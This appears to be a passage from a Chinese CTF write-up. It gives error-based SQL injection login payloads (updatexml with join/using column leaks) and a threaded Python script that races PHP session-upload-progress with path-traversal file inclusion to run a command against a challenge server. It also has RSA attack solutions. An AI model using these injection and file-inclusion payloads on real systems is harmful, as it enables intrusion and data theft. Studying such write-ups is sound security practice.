uname=admin&passwd=123') or (updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id))c),0x7e),1)) %23&Submit=%E7%99%BB%E5%BD%95
uname=admin&passwd=123') or (updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id,no))c),0x7e),1)) %23&Submit=%E7%99%BB%E5%BD%95
mid两边跑一下出完整flag。
1
uname=admin&passwd=123') or (updatexml(1,concat(0x7e,mid((select group_concat(`40b380c6-1208-4216-b5a8-1f550a5a8be4`) from flag),25,16),0x7e),1)) %23&Submit=%E7%99%BB%E5%BD%95
import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('cat flag.php');"} def write(session): whileTrue: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post('http://124.71.225.222:25126/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): whileTrue: data={ 'filed':'', 'cf':'../../../../../..//var/lib/php/sessions/hdahbcchac/sess_'+sessid } resp = session.post('http://124.71.225.222:25126/index.php',data=data) if'tgao.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
Crypto
rsa
3个msg分别是低加密指数攻击,共模攻击,已知p高位攻击。
1 2 3 4 5 6 7 8 9
import gmpy2 import libnum
c = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893 e = 3 n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009 m = gmpy2.iroot(c, e) print(libnum.n2s(int(m[0])))
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import gmpy2 import libnum
c_1 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610 c_2 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950 n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977 e_1 = 17 e_2 = 65537 s = gmpy2.gcdext(e_1, e_2) m1 = gmpy2.powmod(c_1, s[1], n) m2 = gmpy2.powmod(c_2, s[2], n) m = (m1*m2) % n print(libnum.n2s(int(m)))
1 2 3 4 5 6 7 8 9 10 11 12
import gmpy2 import libnum
c = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646 n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147 p = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423 e = 65537 q = n//p phi = (p-1) * (q-1) d3 = gmpy2.invert(e, phi) m = pow(c, d3, n) print(libnum.n2s(int(m)))
最终得到:
1 2 3 4 5 6 7 8
O wild West Wind, thou breath of Autumn's being, Thou, from whose unseen presence the leaves dead Are driven, like ghosts from an enchanter fleeing, Yellow, and black, and pale, and hectic red, Pestilence-stricken multitudes: O thou, Who chariotest to their dark wintry bed